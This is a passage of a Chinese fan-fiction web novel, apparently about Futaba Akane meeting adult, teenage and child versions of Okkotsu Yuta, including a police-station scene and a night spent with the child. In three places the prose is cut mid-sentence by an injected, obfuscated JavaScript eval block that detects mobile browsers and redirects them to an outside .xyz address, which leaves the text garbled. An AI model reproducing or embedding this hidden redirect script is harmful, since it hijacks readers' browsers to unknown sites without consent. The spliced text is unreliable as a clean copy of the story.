少年面部线条青涩未退,但挺拔的鼻梁和抿起的唇线已初具棱角。 他似乎刚出任务回来,还没换下制服,一向被扣得严严实实的白色制服上衣此时却解开了两个扣子,领口微微敞开,露出了一小段清晰的锁骨线条。 “我看你房间的灯一直在亮着,怎么了,是还不适应新环境吗?”他安静地凝视着双叶茜,声音比月光还要轻柔。 双叶茜露出脸,怔怔地望着他,压抑的委屈和恐惧在此刻决堤。 “我…我好害怕…” 双叶茜的声音不受控制地带上哭腔,“这里的一切都好陌生,咒灵也好可怕,我还要跟他们战斗,我根本做不到嘛。” “而且…如果我跟那些咒灵战斗了,我没打过他们,我不是就要死了吗?” 双叶茜哇哇大哭起来,“我不想死,我还没有活够,呜呜呜…” 窗台上的少年静静地听着,月光在他的眼眸中流转。 等双叶茜断断续续说完,乙骨忧太才开口:“茜不会死的,如果不想跟那些咒灵战斗,就交给我吧。” 他朝双叶茜伸出手,掌心向上,是一个邀请的姿势:“有我在,我会保护好茜的。” 双叶茜吸了吸鼻子,伸手,指尖刚触碰到乙骨忧太的掌心,就被他整只手包裹住了。 “睡吧,我会一直在这里守着茜的。”乙骨忧太缓缓开口。 那一夜,乙骨忧太当真就那样坐在窗台上,守着双叶茜直至天明。 他有时会哼着不知名的曲调,有时会数着窗外的星星给她听,嘴里念叨着“一颗…两颗…三颗…”。 在乙骨忧太的陪伴下,双叶茜紧绷着的神经才渐渐放松,逐渐沉睡。 虽然已经过去了很多年,可这份回忆的温暖却始终没有散去。 “到了。”乙骨忧太的声音将双叶茜从回忆中拉出。 双叶茜这才发现,自己已经站在了一间陌生的宿舍门前。 他推开门,里面的景象让双叶茜怔住。 暖橘色的灯光洒满每个角落,将整间房间笼罩在一片祥和的温馨中,客厅的布艺沙发上铺着双叶茜和乙骨忧太一同去挑选的沙发垫,扶手上还搭着羊绒毛毯。 空气中也弥漫着草莓味的香薰,玄关处甚至还摆放着双叶茜和乙骨忧太同款的毛绒情侣拖鞋。 客厅的茶几上摆着一个相框,里面嵌着高专时期双叶茜和乙骨忧太的合照。 本该在回忆中的人此刻却站在她身旁,对着她微笑。 “喜欢吗?这可是我和茜一起打造的家。”乙骨忧太换上拖鞋,自然地牵着双叶茜走进客厅。 他又拉开冰箱门,里面整齐摆放着双叶茜最爱喝的饮料,果汁、?酸奶、可乐…几乎应有尽有。 “我会给茜准备好一切的。”月光在少年的侧脸上投向温柔的侧影,他转身看向双叶茜,黑眸里写满了真诚,“所以茜就一直待在这里,不要再离开了好吗?” 压抑的恐惧与紧张在这一刻骤然迸发。 家。 这根本不是家。 这是囚笼。 这个乙骨忧太,正在试着把双叶茜一直囚禁在这个以爱为名的牢笼中。 双叶茜猛然甩开乙骨忧太的手,不顾一切地冲向门口。 “茜!” 少年在背后呼喊她的名字,双叶茜没有回头,拼命拧动着门把,打开房门,跌跌撞撞地冲进夜色中,向校门外奔去。 晚风刮过双叶茜的脸颊,冰冷的空气让她的思维愈发清醒,她突然意识到一件重要的事情。 ——高专里的所有人都不正常,这里不会有任何人能救她。 在此刻,双叶茜唯一能想到的人,就只有还待在家里的那个乙骨忧太。 是的,那个乙骨忧太才是她的忧太。 那个乙骨忧太才是和她同床共枕那么多年,和她一同长大的忧太。 双叶茜要回去。 她逃出学校,试图沿着记忆中的路线奔跑,但却不知该往哪里走。 街道的布局变得十分陌生,熟悉的便利店招牌不翼而飞,取而代之的是陌生的店铺,甚至就连拐角处的邮筒也变成公交站台。 双叶茜试图用手机导航,却发现没有任何信号。 怎么回事? 那刚刚乙骨忧太是怎么用她的手机成功添加好友的? 巨大的茫然和恐惧几乎快要将双叶茜吞噬,她身形不稳,头脑发晕,险些瘫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513708|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软在地,就在这时,一阵孩童的喧哗和哭泣声引起了她的注意。 “呜哇——” 不远处昏暗的小巷里,几个年纪相仿的男孩围绕在一个蜷缩在地上的小黑影身边。 那孩子被不断推搡着,白色的卫衣沾满灰尘,浑身上下都灰扑扑的。 他垂着头,攥着手指任由那些男孩们欺负,只是小声地啜泣着。 “没有爸妈的怪物!” “滚出这里,这里不欢迎你!” “快滚啊,怪物!” 欺凌的咒骂声一个接着一个,清晰地传到双叶茜的耳朵中。 双叶茜皱了一下眉,总觉得这些话似乎在哪里听到过。 就在这时,被欺负的那个孩子忽然抬起了头。 巷口路灯的光线恰好照亮了他的脸。 在看清孩童面容的一瞬间,双叶茜如遭雷击,呼吸骤停。 那张脸虽布满泪痕和灰尘,但双叶茜能认出,那分明就是孩童时期的乙骨忧太。 他看起来只有七八岁,身形比那些欺负他的同龄人都要更加单薄瘦小,黑色头发有些过长,被那群男孩们揉弄的凌乱至极,贴在额前与脸颊上,更衬得脸蛋苍白无比,没有半分血色。 那双黑色眼眸蓄满泪水,可他却始终都不愿哭出来,紧紧咬着下唇。 乙骨忧太身上的白色卫衣被扯得歪斜,甚至露出底下清晰的锁骨和一小片瘦弱的肩膀。 即使他已经但在地上蜷缩了,但那群男孩却似乎不打算就这么轻易地放过他,他们七嘴八舌地吐出刺耳的话语,甚至开始踢踹乙骨忧太。 虽然已对“乙骨忧太”这个名字产生些许畏惧,但让双叶茜眼睁睁看着孩童时期的乙骨忧太被欺负,她还是做不到。 “你们在干什么!” 双叶茜几乎是脱口而出,声音虽因紧张而有些发颤,但脚下的步伐却十分坚定。 她挡在乙骨忧太和那群男孩之间,以保护者的姿态护在乙骨忧太:“离他远点,你们才是怪物!” 那几个男孩没料到会有大人介入,脸上肉眼可见地浮现出慌乱的神情。 为首的男孩壮着胆子大喊,气势却明显弱了一大截:“你…你谁啊,别多管闲事!” “我是他姐姐,自己的弟弟被欺负了,我不该管吗?”双叶茜随口扯出个身份,努力让自己的目光显得更加严厉,恐吓道,“再敢欺负他,我就去找你们的老师和家长!让他们来教育一下你们,告诉你们什么该做,什么不该做!” 双叶茜成年人的身份起到了一定的威慑作用。 那几个孩子互相看了看,嘀咕着“真倒霉”、“我们走“,便一哄而散,跑出了小巷。 吵闹声逐渐平息,只剩下身后还在压抑着的小声啜泣,双叶茜缓缓转过身。 身后的乙骨忧太仍在蜷缩着,但却抬起了头,用那双浸在水光里的黑色双眸一眨也不眨地盯着她,软糯糯地道了谢:“谢谢你。” 双叶茜说了声“没事”便打算离开,想尽快找到能回家的路,乙骨忧太冰凉的小手却突然抓住了她的胳膊。 双叶茜愣住,低头看他,却发现乙骨忧太的眼神里有着一股难以言喻的确信。 “我知道的。”他的声音很小,还带着浓重的鼻音,“我知道茜姐姐一定会来救我的。” 5. 第五章 乙骨忧太冰凉的小手紧抓着双叶茜的胳膊,力道带着孩童特有的固执。 “我知道的。”他又重复了一遍,浸在泪水里的黑色眼眸直直地望着她,里面装着令她脊背发凉的笃定,“我知道茜姐姐一定会来救我的。” 恐慌与被设计的毛骨悚然,几乎在瞬间涌上双叶茜的心头,她像是被烫到般猛地甩开乙骨忧太的手,连连向后倒退了好几步。 因为抽手的动作太过用力,乙骨忧太的身体被带得向前一扑,重重跌坐在冰冷的地面上。 他无措地看着她,眼睛里迅速蓄满了新的泪水,整个人看起来甚至比刚刚被欺凌时还要委屈无措。 “你为什么知道我的名字?你怎么知道我会来救你?”极度的恐惧与戒备让双叶茜的声音都变得尖利起来,“你有什么目的?” 从清晨那个恐怖的梦境,到手机上那个诡异的账号,再到学校里那个不知道是什么东西的乙骨忧太,现在又遇上这个奇怪的孩子。 这一整天发生的事情就像纠缠在一起的乱麻,让双叶茜始终处在极度的紧绷和恐慌下。 她现在的精神和身体都已濒临崩溃。 “我…我没有什么目的。”乙骨忧太像是被她吓到了,眼泪大颗大颗地往下滚落,小小的身体也因哭泣而微微颤抖着,语无伦次地辩解,“我只是…我只是想和茜姐姐在一起。” 他哭得撕心裂肺,上气不接下气,瘦小的肩膀剧烈地耸动着,模样让人不由得担心他会不会就这样哭晕过去。 现在的乙骨忧太,看起来就像是一个因为受了委屈而哭泣的普通孩子。 而这凄惨的哭声,已经引来了几个路人的驻足。 他们站在不远处,带着强烈谴责的目光齐刷刷地落在双叶茜身上,她隐约听到他们在小声讨论。 “这孩子哭得好可怜啊…” “是不是在欺负小孩啊,这么大个人了,还干欺负小孩的事情,真没出息!” “我们要不要报警啊?” 细碎的议论声如蚊蚋般钻进双叶茜的耳朵里。 坐在地上的乙骨忧太似乎也察觉到周围的变化,哭声渐渐低了下去,变成压抑的抽噎。 他从地上爬起,一只手紧攥住衣角,另一只手牵住她的一根指头,怯生生地说:“茜姐姐,我们走吧,这么多人,我害怕。” 走?去哪里? 在这个怪异的地方,双叶茜能去哪里? 更重要的是,她真的要带着这个孩童时期的乙骨忧太走吗? 可继续留在这里,只会让局面更失控。 但很明显,就目前的情况,她也不可能把乙骨忧太独自留在这里,自己离开。 双叶茜的大脑一片混乱,路人的指点和议论声也愈发不加掩饰。 “要不还是报警吧?” 恍惚间,某个路人的话像是黑暗中突然亮起的一抹微光,燃起她最后的一丝希望。 对,报警! 双叶茜如同抓住了最后一根救命稻草般,冲向刚才提议报警的那个年轻人。 因为奔跑而凌乱的发丝黏在她汗湿的额角,她过度睁大的眼睛里布满血丝,瞳孔也因恐惧而微微涣散。 “这里最近的警局在哪里?!”她的声音因急切而放大,几乎是在扯着嗓子喊。 她不知道,在路人眼里,此刻的她活脱脱就像是个疯子—— 女人原本熨贴的西装制服在奔跑中布满褶皱,身上的扣子也绷开几颗,长发凌乱地垂在脸颊旁,几缕发丝被泪水浸湿,狼狈地贴在脸侧。 她的脸色苍白如纸,毫无血色的唇瓣不受控制地轻颤着,一副仪容尽失的模样,整个人都仿佛濒临崩溃。 几分钟后,双叶茜牵着还在抽噎着的乙骨忧太,一前一后地踏进警局。 接待她们的是一位面容疲惫的中年男性警官。 他约莫五十岁上下,鬓角已见明显的花白,藏蓝色的制服被熨烫得一丝不苟,穿得十分板正。 尽管眉眼间带着挥之不去的倦意,但整个人却给人一种沉稳的可靠感。 双叶茜不由得安心许多,坐在冰凉的塑料椅上,努力组织语言,试图将这一整天的离奇经历完整又清晰地陈述出来:“警察先生,我需要帮助。” “我的男朋友他不知道怎么回事,忽然从一个变成了三个!” 所有的不安与恐惧都在此刻迸发,让她的语句开始变得混乱。 “不,不是变成,是同时出现了,同时出现了三个我的男朋友!” “一个是我熟知的男朋友,是我的爱人,在家里,比我大一岁。”双叶茜哽咽了一下,“另一个才高中生的年龄,还把我带去了学校,想把我关起来,还有一个…还有一个…” “就是他!”她指向紧挨着她坐下的乙骨忧太。 “他们都叫乙骨忧太,他们都是乙骨忧太,但他们是三个人,根本就不是同一个人!警察先生,您能明白我的意思吗?请帮帮我!” 男性警官听着她的叙述,握着笔的手停了下来。 他抬起眼,眉头微蹙,目光在她因激动而泛红的脸上停留片刻,又扫过她身旁那个紧紧依偎着她的男孩。 “女士。”男性警官的声音不高,重复了一遍她的说辞,“你先冷静一下。你的意思是,你的男朋友从一个变成了三个,你一天见到了三个不同年龄段的他?” 双叶茜用力点头,像是终于找到了能理解她的人,语速不由得加快:“是的,就是这样,请您一定要相信我!” 男性警官没有立刻回复她,沉默着审视了她一会,忽然道:“女士,恕我冒昧,请问您有无精神病史?最近休息得如何,近期工作压力是否过大?或者…” 他顿了一下,眼神突然变得有些锋利:“您最近有没有服用过什么药物?” 这些话像是一记闷棍,重重地敲在双叶茜的头上。 “我没有!”她激动地反驳,声音不受控制地拔高,“我没有精神病史,最近休息得也还不错,更没有服用过什么药物!你们为什么不相信我?!” 不知是否由于她的反应过于激烈,男性警官与身旁另一位女性警员交换了一个意味深长的眼神。 他抬起一只手,做了一个暂停的姿势。 “我理解您的困扰。”他的语气依旧平稳,却带着模式化的安抚意味,“但我们要先按照标准流程来处理。首先,我们需要核实一下基本信息。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513709|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 警官的目光转向乙骨忧太,大概因为面对的是一个小孩子,他的声音放得和缓许多:“小朋友,你叫什么名字,今年几岁了?” 乙骨忧太怯生生地抬起头,胆怯地望向警官,声音还带着浓重的鼻音:“我叫乙骨忧太,今年七岁。” 他似乎在害怕,往双叶茜身旁贴得更紧,小手也握住了她的手指,却被她不近人情地甩开。 被甩开手,乙骨忧太怔在原地,眼眶慢慢泛红。 他低下头,小手悬在空中,最后也只能收回,继续攥住自己的衣角,整个人看上去好像一只被欺负的可怜兔子。 男性警官看到这一幕,眉头立刻皱起,放在记录本上的手指也微微收紧,警告道:“女士,请注意你的行为。” “乙骨小朋友,请在这里等一会。”男性警官将所有事情都记录完毕,这才转向双叶茜,语气恢复成了公事公办的严谨。 “女士,为了核实情况,我们需要采集这位乙骨小朋友的指纹进行身份比对,同时也需要查询您所说的另外两个乙骨先生的信息,请稍等。” 等待的过程漫长而煎熬。 双叶茜看着警员带着乙骨忧太去采集指纹,看着他乖巧配合的模样,心中的不安却不知为何反而越来越重。 时间一分一秒过去,过了许久,负责核实的警官才终于拿着几张打印纸回来了,只是表情有些微妙。 男性警官接过文件,快速阅读着,眉头越皱越紧。 当他再次抬头望向双叶茜时,眼神已变得有些冰冷:“女士,关于这位乙骨小朋友,我们的系统显示,他的身份信息完整且真实。户籍登记和小学学籍全部记录在案,没有任何问题。” 中年警官将那几张打印纸推到她的面前,说出的话让她如坠冰窖:“根据您提供的姓名乙骨忧太,我们检索了全部的户籍系统。结果显示,不存在您描述的那两位乙骨忧太。” 双叶茜不信邪地去翻打印纸,却只看到了几张同样空白的查询结果。 “乙骨忧太只有一个,就是这个孩子。” 警官的话和查询的结果像是一道道惊雷,在她脑海中噼里啪啦地炸开。 “不可能!绝对不可能!”双叶茜猛地站起身,“至少我的爱人,那个比我大一岁的乙骨忧太是真实存在的,我们在一起生活了那么久,他的所有东西都在家里!他的朋友,他的同事,你们都可以去问!” “女士,请您冷静!”女警员立刻上前几步,用严厉的语气警告她,同时用身体隔开她和乙骨忧太,将他护在身后。 双叶茜的理智几近崩塌,不顾一切地嘶吼道:“我很冷静,是你们有问题,是你们的系统出了问题,你们所有人都出了问题!” “我们的系统前段时间刚刚维护过,不可能出问题。”中年警官的声音斩钉截铁。 他同样站起身,居高临下地看着她,如同在审问犯人:“女士,你的行为已涉嫌虚假报案,更严重的是,你居然坚称一个身份清晰且年仅七岁的孩童是你的男朋友。” “我们需要对你进行进一步的调查,以排除其他更严重的嫌疑。” “例如…你是否对这名孩童存在着不正当的企图。” 6. 第六章 中年警官冰冷的言语宛若最终的判决,将双叶茜最后一丝希望也彻底击碎,同时也抽空了她仅存的力气。 她知道无论再怎样嘶吼和辩解,在别人的眼里都只是在癫狂地发疯。 没有人会相信她。 “不是的,你们误会茜姐姐了!”稚气的童声突兀地响起。 乙骨忧太奋力将小小的身子从女警员身后探出,泪眼婆娑地看着两位警察。 他啪嗒啪嗒跑到双叶茜的面前,张开双臂挡在她的面前,瘦削的肩膀微微颤抖着,脊背却挺得很直,脑袋也摇得像是拨浪鼓一样。 他仰起头,拔高音量喊道。 “茜姐姐没有对我有不好的企图,是我太喜欢茜姐姐了,是我一直想待在茜姐姐身边!” “请你们不要怀疑茜姐姐,不要把茜姐姐带走!” 那双含着泪光的黑色眼眸直直地望着警察,里面盛满了来自孩童最纯粹的恳求和恐惧,就好像如果警察把双叶茜带走,他立刻就会原地破碎掉般。 这脆弱到极致的神情,任谁看了都会心生不忍,难以说出拒绝的话。 中年警官一直紧蹙着的眉头微微松动,他与身旁的女警员交换了一个眼神,语气随之缓和下来:“看来是我们误会了,实在不好意思。” 他微微俯身,摸了摸乙骨忧太的头:“小朋友,以后不能再随便缠着陌生人了,万一遇到什么危险了怎么办?” 中年警官又转向双叶茜,语气瞬间转变成公式化的交代:“以后再遇到这种情况,请及时联系警方或孩子的家人,尽量避免误会。” “你们可以走了。” 误会。 只是一个误会。 就这样轻描淡写地定性了吗? 双叶茜的心像沉入海底,再也无法泛起一丝涟漪。 这些警察宁愿相信一个孩子漏洞百出的说辞,都不愿正视她赤果果的恐惧与异常。 他们同学校里的那些人一样,都不正常。 走出警局时,夜色已完全笼罩大地。 路灯在夜色中依次亮起,将双叶茜和乙骨忧太的影子拉长又缩短。 巷口的路灯因年久失修,不时地发出“滋滋滋”的电流声,昏黄的光线明明灭灭,在斑驳的墙面上投下摇曳的阴影。 空气中弥漫着潮湿的气息,和小巷里飘来的淡淡油烟味交织在一起。 一副让人感到温暖的生活气象。 本应让人感到安心和温暖,但双叶茜却只觉寒冷。 她停下脚步,缓缓转身。 周围安静得可怕,只能听到不远处的马路上传来的车流声。 双叶茜低头凝视着身旁这个孩子,声音已听不出任何波澜:“现在没有别人了,你到底是什么东西?” 乙骨忧太静静地站立在昏黄的光晕中,仰着脸,那双过于漆黑的眼里依旧含着孩童般的天真,甚至像是有光在亮着。 他轻轻歪了歪头,声音带着独属于孩童的软糯腔调,甜甜地说。 “茜姐姐,我就是乙骨忧太啊。” “是想永远和茜姐姐待在一起的乙骨忧太。” 双叶茜看着乙骨忧太天真无邪的模样,一股几乎深彻骨髓的无力感将她整个人包裹住。 愤怒的火焰在她的胸腔里徒劳地燃烧了几下,便消失殆尽。 她累了。 她的身体和灵魂都感到一种前所未有的疲惫。 警局的经历好似最后一根稻草,将她所有想要反抗的意志都给压垮。 她知道再追问下去也不会有任何结果,沉默了许久才发出一声无可奈何的叹息,问:“那我们现在要去哪里?” 乙骨忧太的嘴角几乎不可察觉地弯了一下,像是心愿达成的喜悦。 他伸出冰凉的小手,坚定地握住双叶茜的手指,眼睛弯成月牙状:“回家。” 双叶茜没有再反抗了。 她如同失去灵魂的提线木偶般沉默地跟在乙骨忧太的身侧,任由他牵着向前走。 路灯将她和乙骨忧太的影子拉长融合在一起,仿佛本该如此。 最终,他在一栋普通的居楼前停下了脚步。 他掏出钥匙,熟练地打开门,锁芯转动的声响在一片寂静中格外明显。 乙骨忧太推开门,朝屋内欢快地喊道:“我跟茜姐姐回家啦!” 声音里是藏不住的喜悦。 尽管双叶茜已事先做好心理准备,但当门内的景象真正映入眼帘时,她的呼吸还是不由得一滞。 玄关的木质鞋柜、客厅里暖黄色的吊灯、沙发上她和乙骨忧太从娃娃机里吊到的抱枕… 果然,这个乙骨忧太布置的家,也同她记忆中的家别无二致。 乙骨忧太松开双叶茜的手,一蹦一跳地率先进了屋,走到玄关处又回过头来,对她扬起了一个无比纯真的笑容:“茜姐姐,这里就是我们的家。” 他的眼睛在灯光下闪烁着光:“欢迎回家!” 说着,乙骨忧太又熟练地换上情侣拖鞋,又拉着双叶茜进屋,将另一双情侣拖鞋摆在了她的脚边。 他脱下她的西装外套,一连串熟悉的动作甚至恍惚间让双叶茜以为回到了从前。 “你想先做什么,吃饭嘛?都忙了一天了,茜姐姐的肚子是不是现在很饿?”乙骨忧太眉头皱紧,语气里满是关切,俨然一副小主人的模样。 双叶茜看着这与记忆里别无二致的家,却没有任何力气再去思考这个“家”的诡异之处。 疲惫如同沉重的潮水,甚至将令她毛骨悚然的那种感觉都给一并淹没。 她摇了摇头:“我不饿,只是想先洗个澡。“ “好呀。”乙骨忧太一口答应了下来。 他主动跑到浴室里,替双叶茜准备好毛巾和换洗的睡衣,甚至连水温都调试得恰到好处。 这份熟稔和体贴,也与她记忆中的爱人如出一辙。 很快,乙骨忧太的声音就从浴室里传了过来,伴随着哗哗的水声:“茜姐姐,好啦,你过来吧!” 温热的水汽从半开的门缝中漫出,双叶茜走到浴室门口,乙骨忧太正站在那里。 他双手捧着被叠得整整齐齐的毛巾和睡衣,亮晶晶的眼睛望着她,像是完成了什么了不起的任务。 “茜姐姐,给,水温刚刚好。” 双叶茜接过柔软的毛巾,低声道了声谢,侧身便要进入浴室,正准备关上门,乙骨忧太的手却轻抵住了门。 “茜姐姐。” 他眨了眨眼,问:“需要我帮你洗嘛?” “需要我帮你擦背嘛?” 某段记忆忽然涌上了双叶茜的脑海。 “茜,好害羞哦。” 氤氲着浓厚热气的浴室里,身形修长的青年从背后轻环住她的身子,带着笑意的低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513710|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉嗓音贴着你的耳畔,像是故意挑逗她般在她的耳垂喷洒热气,又含住她的耳朵。 温热的水流从彼此贴近的肌肤滑落,两人的身体却像是丝毫不嫌热般,越贴越紧,直至… 亲昵至极的画面随着脸部体温的升高,猛地充斥在双叶茜的脑海中。 她的脸颊“唰——”地一下变得滚烫。 站在她眼前的虽是孩童时期的乙骨忧太,但他说出的那句话牵扯出的回忆,却是她与成年时的他的亲密与缠绵。 双叶茜一瞬间无所适从,声音也因羞赧不自觉地拔高,慌乱地开口。 “不用!” 她没再给乙骨忧太任何说话的机会,掰开他的手,用力地关上浴室门,甚至还反手摁下了锁扣。 完成这一系列动作,她脸上滚烫的温度才稍稍降了下来。 双叶茜重重地吁出一口气,背靠着微凉的门板坐在地上,只觉心脏还在胸腔里砰砰直跳。 门外安静了一瞬,随后便传来乙骨忧太略带委屈的声音:“好吧,那茜姐姐有时要叫我哦。” 温热的水流冲洗着身子,驱散走双叶茜的部分寒意与疲惫,却无法冲散脑海中翻涌的思绪,她仍感到脸颊发烫。 她匆匆结束沐浴,换上睡衣,深吸一口气打开浴室门。 走廊很安静,乙骨忧太并不在门口,这让她松了口气。 双叶茜一边用毛巾擦拭着湿漉的头发,一边走进卧室,却发现乙骨忧太早就已经在床上等着她。 他穿着不知从哪搞来的小了好几倍的情侣睡衣,坐在大床的中央,手里抱着一个枕头,眼巴巴地望着她,像是一直等待着被收留的小兔子。 “茜姐姐。”他微微垂下头,放轻的声音带着小心翼翼的试探,手指似有意似无意地抠着枕头的边缘,“我今晚可以睡在这里嘛,一个人会很害怕。” 乙骨忧太的双眸中盈满水光,仿佛只要双叶茜说出一个“不”字,泪珠就会瞬间从他的眼眶里坠落。 “…随你吧。”双叶茜掀开被子,躺在了靠窗的一侧,刻意与乙骨忧太保持了一段距离。 得到她的同意,几乎是立刻,双叶茜便感到身侧的床垫微微一沉。 乙骨忧太像是只灵活的小猫,轻手轻脚地钻进被窝,在她身旁躺下,保持着恰到好处的距离。 他关了灯,寂静在黑暗中弥漫。 就在双叶茜睡意渐渐袭来,以为他会就此安分时,一只小手却忽然探了过来,抓住了她睡衣的衣角。 他轻唤了一声,声音里带着浓重的睡意和全然的依赖:“茜姐姐。” 双叶茜没有回应,也没有推开,只是闭着眼睛沉默。 这份沉默似乎被乙骨忧太理解成默许,他又挪近一点点,将额头轻抵在她的手臂外侧,冰凉的小脚也悄悄蜷缩起来,触碰到了她的小腿。 这让双叶茜的身体本能地僵硬了一瞬。 “好暖和哦。” 乙骨忧太发出满足的喟叹声,呼吸逐渐变得均匀绵长,似乎就这样安心地睡着了。 双叶茜本应感到抵触。 但奇异的是,乙骨忧太身上带着的同她一样的沐浴露气息,伴随着他平稳的呼吸声,竟抚平了她紧绷的神经,让她僵硬的身体不知不觉地放松了下来。 意识彻底沉入黑暗的前一刻,双叶茜迷迷糊糊间感到那只攥着她衣角的小手,又收紧了些许。 7. 第七章 这一夜睡得竟出乎意料地安稳。 晨光透过窗帘的缝隙,在双叶茜的眼皮上投下温暖的光斑,她缓缓睁开眼,却首先感觉到的是一种令人窒息的束缚感。 一个小小的身体此刻正像八爪鱼一样死死地缠着她。 乙骨忧太不知何时完全钻进了她的怀里。 他的脑袋枕在她的手臂上,黑发随意地散落在枕间,有几缕翘起,随着他轻浅的呼吸颤动着,搔挠着她的下巴。 乙骨忧太白皙的脸蛋因为熟睡泛着淡淡的粉红色,长长的睫羽在眼下投下两道阴影,嘴唇微微嘟起,随着呼吸一开一合,不时还发出几声模糊的梦呓。 晨光照射到屋内,为他的身子镀上一层柔和的金光,双叶茜甚至能看见乙骨忧太耳垂上细小的绒毛。 他一只小手紧紧攥着她睡衣的衣角,另一只胳膊占有性地环着她的腰,整个人都贴在她的身上。 双叶茜本应感到恐惧和不适,可一种诡异的平静感却笼罩着她,让她的内心格外平静。 她无声地注视着这个不知是何种生物的“乙骨忧太”,想知道他到底是什么东西。 或许是她的目光太过专注,乙骨忧太纤长的睫毛颤了两下,睁开了眼。 那双黑色眼眸因初醒还蒙着一层薄雾,眼下也还有未卸干净的困倦。 他揉了揉眼睛,又不受控制地打了个哈欠,显得懵懂而天真。 注意到双叶茜的视线,乙骨忧太立即绽放出一个灿烂又满足的笑容,小脑袋在她臂弯里依赖地蹭了蹭,声线带着刚睡醒的沙哑和软糯:“茜姐姐,早安,抱着你睡好舒服哦。” 记忆毫无预兆地涌现。 “醒了吗?”低沉含笑的嗓音贴着双叶茜的耳廓响起。 她的爱人将双叶茜整个圈在怀里,满是肌肉的结实手臂横在腰间,温热的掌心贴着她的睡衣下摆,若有若无地摩挲着腰侧的肌肤,隐隐有往里探的趋势。 乙骨忧太把双叶茜往怀里带了带,下巴轻轻蹭着她的发顶,发出满足的叹息声:“茜,抱着你睡觉好舒服。” 回忆与现实在这一刻完美重叠,双叶茜猛地回神,怔怔地看着眼前这个乙骨忧太。 他的脸上仍然挂着纯真无邪的笑容,黑色双眸清澈见底,全然不见成年后那个乙骨忧太的深沉与侵略性。 但这相似至极的面容和一模一样的话语,还有萦绕在两人之间、能让双叶茜感到安心的熟悉感,都让她感到疑惑。 难道眼前的孩童真的是乙骨忧太? 并不是伪装,也不是模仿,只是以某种她无法理解的方式,真正存在于世界上的乙骨忧太? 这个念头让双叶茜心头一震。 混杂着恐惧与荒谬的酸涩感涌上心头,她久久不语,只是看着乙骨忧太发呆。 乙骨忧太脸上笑容渐渐收敛,浮现出不安的神色。 他怯怯地松开攥紧她衣角的手,小声地问:“茜姐姐,你生气了吗?” 他似乎担心自己做错了什么事情,整个人呈现出一种不知所措的无助模样,纤细的手指无意识地绞着衣角。 看着乙骨忧太这副模样,尖锐的质问在喉间转了一圈,双叶茜终究没有说出口,只是伸手揉了揉他柔软的发顶:“没有生气,只是刚睡醒,还有点没反应过来。” 乙骨忧太的眼睛立刻亮了起来,小心翼翼地再次靠近。 他拉住她的手指,小眼睛眨巴了两下:“那茜姐姐喜欢我抱着你睡觉嘛?” 这个问题让双叶茜一时有些语塞。 在经历过那么多诡异的事情之后,喜欢这个词是如此不合时宜。 但不可否认,属于她爱人的温暖久违地让她感到了安心。 双叶茜避而不答,掀开被子:“该起床了。” 乙骨忧太乖巧地点头,亦步亦趋地跟在她身后,他像是她的跟屁虫,就连她走洗手间准备洗漱时,他也乖乖地站在门边等着她,目光始终跟随着她的一举一动。 这紧密的跟随和目光让双叶茜脊背有些发凉,但她也无法指责一个孩子的依赖。 她刷着牙,试图躲开镜子中乙骨忧太的视线。 “茜姐姐。”乙骨忧太却忽然开口,“今天的早餐,可以交给我嘛?” 双叶茜从镜子里看到乙骨忧太期待的眼神,心头一软,点头答应了下来。 乙骨忧太的眼睛瞬间亮了起来,攥紧拳头,信誓旦旦地说:“我一定会做好今天的早餐,让茜姐姐满意的!” 他小跑至厨房,不一会双叶茜便听到厨房里传来窸窸窣窣的声音。 陶瓷碗具的碰撞声,开火的响动,倒油的声音,似乎还有搬椅子的声音。 大概是因为这个乙骨忧太的身形实在太过矮小,仅凭借着他自己的身高无法触碰到灶台,所以只能搬来一个小凳子,踩在凳子上做饭。 当双叶茜洗漱完毕,走进餐厅时,桌上已经摆好了温热的牛奶和煎蛋。 不过蛋的边缘貌似有些焦糊。 “茜姐姐,赶快尝尝!”乙骨忧太紧张地观察着她的表情,眼睛亮晶晶的,一副期待着她评价的模样。 双叶茜正要拉开椅子坐下去,手机铃声却忽然尖锐地响起。 [检测到新宿区久保中学有强烈咒力反应,疑似一级咒灵,请负责值班的辅助监督立即赶往现场进行协助,总部派遣的咒术师将随后抵达。] [双叶茜。] 一级咒灵。 如果没及时将普通人疏散,会有多少人因此丧命? 职业本能让双叶茜瞬间进入状态,睡意全无。 “抱歉。”她的面色瞬间改变,语气也变得急促,一边快步走向卧室更换制服,一边匆匆道,“有紧急任务,我必须马上出发。” 乙骨忧太脸上的笑容瞬间凝固了,音量也变小了些:“不能吃完再走吗?” 